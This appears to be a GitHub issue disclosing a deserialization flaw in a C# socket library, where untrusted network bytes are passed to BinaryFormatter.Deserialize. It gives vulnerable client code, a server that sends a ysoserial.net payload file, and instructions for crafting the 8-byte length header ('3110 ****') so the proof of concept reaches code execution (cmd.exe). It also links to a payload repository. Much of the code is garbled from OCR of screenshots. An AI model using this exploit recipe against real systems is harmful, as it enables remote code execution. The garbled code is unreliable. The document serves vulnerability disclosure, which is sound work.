

```
/// <summary>
/// 接收T类对象,反序列化
/// </summary>
/// <typeparam name="T">接收T类对象,T类必须是一个可序列化类</typeparam>
/// <param name="socket">客户端socket</param>
/// <returns>强类型对象</returns>
public static T ReceiveVarData<T>(this Socket socket)
   //先接收包头长度 固定8个字节
   byte[] lengthbyte = ReceiveFixData(socket, 8);
   //得到字节长度
   int length = GetPacketLength(lengthbyte);
   byte[] bytecoll = new byte[m_maxpacket];
    IFormatter format = new BinaryFormatter();
   MemoryStream stream = new MemoryStream();
   int offset = 0; //接收字节个数
   int lastdata = length; //还剩下多少没有接收,初始大小等于实际大小
   int receivedata = m_maxpacket; //每次接收大小
   //循环接收
    int mark = 0; //标记几次接收到的数据为0长度
   while (true)
       //剩下的字节数是否小于缓存大小
       if (lastdata < m_maxpacket)</pre>
           receivedata = lastdata; //就只接收剩下的字节数
       int count = socket.Receive(bytecoll, 0, receivedata, 0);
       if (count > 0)
           stream.Write(bytecoll, 0, count);
          offset += count;
           lastdata -= count;
          mark = 0;
           mark++;
           if (mark == 10)
              break;
       if (offset == length)
           break;
```

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}
stream.Seek(0, SeekOrigin.Begin); //必须要这个 或者stream.Position = 0;
T t = (T)format.Deserialize(stream);
return t;
}
```

Set up socket communication

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server:
```

```
正Address ipAdx = IPAddress.Parse("127.0.0.1"); //根据IP地址创建IPAddress对象。如IPAddress.P
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22
      IFEndPoint ipEp = new IPEndPoint (ipAdr, per: 1284): //用IPAddress穩定的地址和端口号初始化
24
25
      //Bind指定事接字的IP和端口
25
      listenfd.Band(ipEp); //格给Listenfd套接字绑定IP和端口。 示例程序中绑定的是本地地址 "127.0.0.
27
28
28
      //服务構造过listenful.Listenful 开启监听。 等待客户端连接。 爱数backlog指定队列中最多可容的
     listenfd.Listen(backlog:0);
Console.Vriteline("[服务器]启动邮功");
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34
      FileStream stream = nev FileStream(_min O'C:\Users\YKY\Desktop\yzoserial.net-RHFT\3110.txt*,
      MemoryStream ms = new MemoryStream().
35
36
37
     //stream.Position = 0;
      //StreamReader reader = new StreamReader(ztream);
     //string text = reader.ReadIoEnd();
38
39
     //Console. WriteLine(text);
40
      stream.Position = 0;
41
      stream.CopyTo(ms);
      byte[] bytes = ms.ToArray();
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43
44
     //Console.WriteLine(BitConverter.ToString(bytes));
45 d while (true)
48
          //Accept
         //开启监听后,服务器调用其就ent'd Accept() 接收春户端连接。 本例使用的所有Socket方法都
//接收了客户端的连接。 Accept 返回一个新客户端的Socket, 对于服务器来说, 它有一个壁听Soc
//conntd) 用来处理该客户端的数据
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01
         Socket gammid = listenfd.Accept();
Console.Writeline("[服务器]Accept");
53
54
55
56
57
          //byte[] bytes = System.lext.Encoding.Default.GetBytes("gegy_echo"):
58
          counfid. Send (bytes);
```

client:

```
class Program
    static void Main(string[] argo)
        //const int BUFFER_SIZE = 3296;
        const int BUFFER SIZE = 3118;
        byte[] readBuff = new byte[BUFFER_SIZE];
        Socket zocket = new Socket(AddressFamily, InterNetwork, SocketType, Stream, ProtocolType, Top);
        //Connect
        string host = "127.0.0.1":
        int port = 1234;
        socket. Connect (host, port) ;
        //Resy
        //socket. Receive (readBuff):
        //Console.WriteLine(1);
        //Console. WriteLine(BitConverter. ToString(readBuff));
        //Console. WriteLine (2):
        //string str = System. Text. Encoding. UTF8. GetString (readBuff);
        //Console.WriteLine(str);
        SocketClient.ReceiveVarData(TestClass)(socket);
        ////本地序列化测试
        //Stream stream = new MemoryStream(readBuff);
        //stream.Position = 0:
        //IFormatter format = new BinaryFormatter():
        //var t = (TestClass) format. Deserialize(stream);
        //Close
        socket.Close():
       Console. ReadLine():
```

Constructing the payload

The ReceiveVarData() method internally first calls the ReceiveFixData() method to read the packet header (8 bytes) of the socket object information, and then calls the GetPacketLength() method to read the length of the bytes in the packet header (int type)

The ReceiveFixData() method will first intercept 8 bytes of information, so 8 bytes must be added before the original payload when constructing the POC.

The GetPacketLength() method reads the packet header information, i.e. the 8 bytes of information needs to contain the byte length (int type) of the original payload, while intercepting the int data type before the '*' ending.

Also the Payload source code is converted to a byte array length of 3110 bytes.

A local test of the GetPacketLength() method shows that the 8 bytes of information could be "3110 ****". Int(3110) is the byte length of the original payload.

Simulating the transmission of messages to a socket client

POC implementation using a controlled data transfer from the server to the socket client, i.e. a set payload. C:\Users\YKY\source\repos\servermasuit\servermasuit\bin\Debug\servermasuit.exe hello world: L服务器l启动成功 C:\Users\YKY\source\repos\servermasuit\servermasuit\bin\Debug\servermasuit.exe hello world? [服务器]启动成功 [服务器]Accept ■ C/\Users\YKY\source\repos\masuittemp\masuittemp\bin\Debug\masuittemp.exe CAWindows\System32\cmd.exe 剪贴板 图像 颜色

ykytutou commented on Dec 8, 2021

Author

The payload here: https://github.com/ykytutou/Payload

Assignees

No one assigned

Labels

None yet

None yet	
Milestone	
No milestone	
Development	
No branches or pull requests	

1 participant

